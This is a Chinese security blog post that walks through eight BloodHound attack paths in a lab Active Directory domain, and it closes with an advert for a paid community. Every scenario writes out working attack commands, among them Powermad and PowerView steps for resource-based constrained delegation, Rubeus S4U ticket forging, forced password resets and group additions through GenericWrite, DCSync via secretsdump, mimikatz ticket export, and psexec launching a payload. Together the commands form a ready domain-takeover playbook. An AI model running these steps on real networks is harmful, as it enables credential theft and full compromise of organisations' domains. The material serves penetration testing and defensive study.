BloodHound八种常见高价值路径解析

文摘   其他   2024-03-22 12:04   陕西  

模拟场景一

按照我的思路来说我肯定是先找那些机器或者组具有dcsync的权限的。

如下图我们看到有3台DC,以及5个组,我们现在看看这3台DC,DC03在Domain Controllers组中,而这个组对于域来说有着DCSYNC的权限,DC01在企业管理员组中,而这个组对域有着DCSYNC的权限,DC04也在Domain Controllers组中,同样也具有DCSYNC的权限,那么也就是说我们只要拿到这3台机器中的任何一台都可以直接dcsync了。

接下来我们来看看组,Domain Admins组在Administrators组中而这个组也对域有着DCSYNC的权限,以及Domain Controllers和企业管理员组,都是对域有着dcsync权限的。

我们为什么要分析组和这些机器呢?有一点我们需要清楚,我们现来看看这些机器,假如说,这些机器在某个组中,而你正好拥有的账户对这个组有着完全控制的权限或者拥有GenericWrite,那么是不是配置一个基于资源的约束性委派来拿下这台机器了吗?

虽然我们没有真实环境,但是我们可以本地来搭建一下。

如下图我们可以看到

svc_account账号在Account Admin组中,而这个组对DC这台机器有着完全控制的权限,那么我们如果拿到了svc_account账号密码,那么我们就可以来做一个基于资源的约束性委派了。

现在让我们试试:

首先我们需要使用Powermad工具来添加一个机器账户,如果你拿到的是服务账户,那么你直接可以使用服务账户,不必创建机器账户了。

如下图例如你已经拿到了这个账户和密码,并且你可以使用这个账户对其任意一台机器进行登录,无论您是使用evil_winrm还是使用psexec又或者使用powershell等等。

现在我们已经拿到了这个账户,我们现在可以使用powerman对其添加一个机器账户了,默认域用户都可以添加10个机器账户。

导入powerman模块之后,如下命令添加一个AttackSystem的机器账户,密码为Admin123..

New-MachineAccount -MachineAccount AttackSystem -Password $(ConvertTo-SecureString 'Admin123..' -AsPlainText -Force)

可以看到已经添加成功了。

我们可以返回DC进行查看。

添加成功之后,我们就需要来配置基于资源的约束性委派了。

首先需要获取到我们刚才创建的机器账户的SID属性。

这里需要使用到powerview.ps1

Get-DomainComputer AttackSystem

成功获取到objectsid属性。

S-1-5-21-61934353-3801956376-2534546581-1108

现在我们来进行配置基于资源的约束性委派。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-61934353-3801956376-2534546581-1108)" //这里的sid是机器账户的sid    $SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer win2016-user2 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要注意的是这里配置的是win20-16-user2这台机器,这是因为我没有把机器名称改过来,所以大家认为是DC即可。

可以看到成功配置。

现在我们就可以使用svc_account账户来发起s4u请求了。

在这之前我们需要将机器账户的密码转换为RC4。

.\Rubeus.exe hash /user:AttackSystem$ /password:Admin123.. /domain:relaysec.com

现在我们拿到了rc4之后,我们来申请票据即可。

.\Rubeus.exe s4u /user:AttackSystem$ /rc4:283B022E27F25CD57AD5EBE1F468C04B /impersonateuser:administrator /msdsspn:cifs/win2016-user2.relaysec.com /ptt

可以看到这里申请成功了。

现在我们使用klist来查看票据。

可以看到成功访问:

现在你就可以直接使用psexec去执行即可。

.\psexec.exe -accepteula \\win2016-user2.relaysec.com\ "C:\users\public\xx.exe"

那么我们再去思考一个问题,如果不使用BloodHound呢,我们如何去发现呢?

我们是不是应该先去查域控的ACL???

需要注意的是如果我们去查询域控的ACL他不会直接显示Acccount Admin组对域控有着Generic的权限。

他会显示Account Admin组的sid。

Get-ObjectAcl -SamAccountName "win2016-user2" >> dc.txt

可以看到这个sid对DC这台机器有着Generic的权限。

那么我们去查询一下这个sid对应的是谁即可。

可以看到这个sid对应的就是Account Admin这个组。

现在我们需要查询Account Admin组中有那些成员,我们只要拥有任意一个用户,我们就可以来设置基于资源的约束性委派了。

.\AdFind.exe -b "CN=Account Admin,CN=Users,DC=relaysec,DC=com" member

可以看到这个组中有svc_account这个账户。

我们也可以来查看svc_account隶属于那个组。

.\AdFind.exe -s substree -b "CN=svc_account,CN=Users,DC=relaysec,DC=com" memberOF

可以看到它隶属于Account Admin组中。

也就是说如果我们获取到sid无法确定是那个组的话,那么我们可以直接全部查询users下的所有,然后导出来查看。

.\AdFind.exe -s substree -b "CN=Users,DC=relaysec,DC=com" objectsid,name >> name.txt

可以看到这里所对应的name就是我们的组名称了。

如上就是我们的模拟场景一。

模拟场景二

现在我们看到的是svc_accountsvc_account2有着GenericWrite的权限,这意味着我们可以直接更改其密码。

svc_account2对其域有着dcsync的权限。

假如我们现在已经拥有了svc_acccount账户的密码,那么我们就可以对其进行更改。

bloodhound也很贴心的给了我们一些利用的方式。

我们将其复制下来。

我们首先来创建一个凭据。当然如果你已经使用svc_account账户已经登录了,那么就不需要了。

$username = "relaysec\svc_account" //定义域账号$password = ConvertTo-SecureString -Force -AsPlainText "Admin123.." //$cred = New-Object System.Management.Automation.PSCredential -ArgumentList($username,$password) //创建凭据

创建之后我们就就可以进行更改目标账号密码了。

先去定义一个新的密码:

$accPW = ConvertTo-SecureString -force -AsPlainText "Admin123..."Set-DomainUserPassword -Identity svc_account2 -Domain relaysec.com -Credential $cred -Verbose -AccountPassword $accPW

可以看到我们成功将``svc_account2``密码更改为了``Admin123...``。

现在我们可以尝试使用这个账户去导出域内的hash。

impacket-secretsdump relaysec.com/svc_account2@10.10.211.137

如下命令:

我们通过如下命令得知svc_account2对域控有着dcsync的权限。需要注意的是这里不要使用powershell我也不太清楚为什么使用powershell去查的话有点问题。

AdFind.exe -s subtree -b "DC=relaysec,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

现在我们来查询svc_account2 有那些ACL。

Get-ObjectAcl -SamAccountName "svc_account2" >> dc.txt

我们会发现1107这个sid对其有着可读可写可执行的权限。

那么我们查询这个sid是谁即可。

可以看到这个sid其实就是svc_account这个账户。

那么我们模拟场景二到这里结束。

模拟场景三

如下图我们发现AD这个组对于域控有着本地管理员的权限。为什么会出现这种问题呢?因为将用户加入到本地管理员组的话,会更好的修改计算机的配置,而不需要每次验证。

那么我们现在需要查看那个用户在这个组中。

可以看到svc_account这个用户在AD这个组中。那么也就是说svc_account对域控这台机器有着本地管理员的权限。

而域控对于域有着dcsync的权限。

那么我们是不是可以去尝试登录之后导出hash了呢?

python3 psexec.py svc_account@10.10.211.137 

当然如果你加上域的话也是可以的。

然后您就可以上传mimikatz来导出hash了。

如上就是模拟场景三了。

模拟场景四

现在我们来看一下如下场景。

我们现在已经拿到了win2012这个账户的密码,我们得知他在IT ADMIN组中,而IT ADMIN组又在SERVICE Desktop组中,这个组对SECUIRY ENTER这个组有着GenericWrite的权限,而SECUIRY ENTER组对SVC_ACCOUNT这个用户有着这个特权,SVC_ACCOUNT这个用户有着对域DCSYNC的权限。

其实我们之前一直再提GenericWrite,我们来看看它是如何配置的。

如下图勾选写入全部属性即可。

那么我们现在该如何去利用这条高价值路径呢?

首先我们肯定需要给SECUIRY ENTER组中添加一个用户,然后利用这个用户去修改SVC_ACCOUNT的密码,最终DCSYNC。

如下命令我们将我win2012这个账户添加到SECUIRY ENTER组中。

$SecPassword = ConvertTo-SecureString 'Admin123..' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('relaysec.com\win2012',$SecPassword)Add-DomainGroupMember -Identity 'secuiry enter' -Members 'win2012' -Credential $Cred

现在我们可以来查询这个组的成员:

Get-DomainGroupMember -Identity "secuiry enter" -Recurse

可以看到已经有win2012这个账户了。

那么现在win2012既然在secuiry enter组中的话,那么这个组对于svc_account账户有着Generic Write的权限,所以我们可以直接使用win2012这个账户对其进行修改密码。

$username = "relaysec\win2012"$password = ConvertTo-SecureString -Force -AsPlainText "Admin123.."$cred = New-Object System.Management.Automation.PSCredential -ArgumentList($username,$password)
$accPW = ConvertTo-SecureString -force -AsPlainText "Admin1234..."Set-DomainUserPassword -Identity svc_account -Domain relaysec.com -Credential $cred -Verbose -AccountPassword $accPW

我们成功将密码更改为Admin1234..

现在我们可以直接dump hash了。

如上就是模拟场景四。

模拟场景五

如下图:

可以看到win2012这个账户对WIN-FAJQ6NAO8FJ这台机器有着RDP的权限,也就是说win2012这个账户已经加入到这台机器的远程桌面组(Remote Desktop user)组了。

那么我们就可以尝试使用远程连接工具对其进行访问。

可以看到成功访问。

如上就是模拟场景五。

模拟场景六

如下图:

现在我们已经拿到了win2012这个账户,而这个账户在IT USERS组中,然而这个组又在Account Users组中,这个组对目标这台机器有着本地管理员的权限。

如上图其实不重要,新版的bloodhound好像把HasSession给去掉了,我们来看如下图。

正好有一个用户登录在了我们的目标主机上,而这个用户是域管理员组中的用户,那么我们就可以使用mimikatz将其票据导出了。

如下命令导出票据:

sekurlsa::tickets /export

最终导入svc_admin的票据之后,就可以以它的身份去访问任意服务了。

模拟场景七

如下图,我们发现Domain Computer组在group1组中,group1组在group2组中,group2在group3组中,group3组对ENENY这个账户有着完全控制的权限,而这个账户在group4组中,而这个组对于域控有着完全控制的权限。

那么我们如何去利用呢?

首先我们肯定需要找那些机器在Domain Computer组中。

这台机器我们已经拿到了权限并且在Domain Computers组中。

那么我们就可以尝试去更改eneny账户的密码了。

但是在这之前我们需要注意的是因为我们机器账户的密码是非常复杂的,所以我们可以自己去创建一个机器账户。

这里我们使用powerman去创建一个机器账户。

因为创建的机器账户默认在Domain Computer组中,所以我们创建的这个账户也对eneny这个账户有着完全控制的权限的。

所以我们来尝试更改密码。

可以看到成功将密码修改为Admin1234..

现在我们已经拥有了eneny这个用户。

而这个用户对于域控这台机器有着完全控制的权限,那么我们就可以来配置基于资源的约束性委派了,可以重新创建一个机器账户来进行利用了,和我们的场景一是一样的。这里就不演示了。

如上就是模拟场景七。

模拟场景八

如下图有一个高价值路径,我们可以看到win2012这个账户在目标这台机器的remote desktop users组中,也就是远程桌面组,我们可以通过win2012这个账户登录这台主机,然后导出管理员的票据。

首先使用win2012进行登录。或者你也可以使用其他拥有本地管理员权限的账户登录或者提权等等。

这里我就直接使用本地管理员的权限进行登录了。

现在我们上传mimikatz即可。

然后导出票据即可:

sekurlsa::tickets /exports

我们在这里找到域管的凭据。

没有导入票据之前我们是无法访问的。

我们进行导入票据。

导入之后我们就有域管的票据了。

现在我们再去访问是没有任何问题的。

然后我们就可以使用psexec来弹shell了。

如上就是模拟场景八。

欢迎加入我的知识星球:目前正在更新域和免杀相关的文章,大部分会在群内交流或直接私聊我即可,等域相关的文章做的差不多了我会更新免杀的东西,每个月一次技术交流探讨,时间会在群公告,让我们卷起来吧。99的价格你买的到的不仅仅是星球内的资源,更是群内的氛围,群内杜绝划水,杜绝聊和技术关的事情。

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章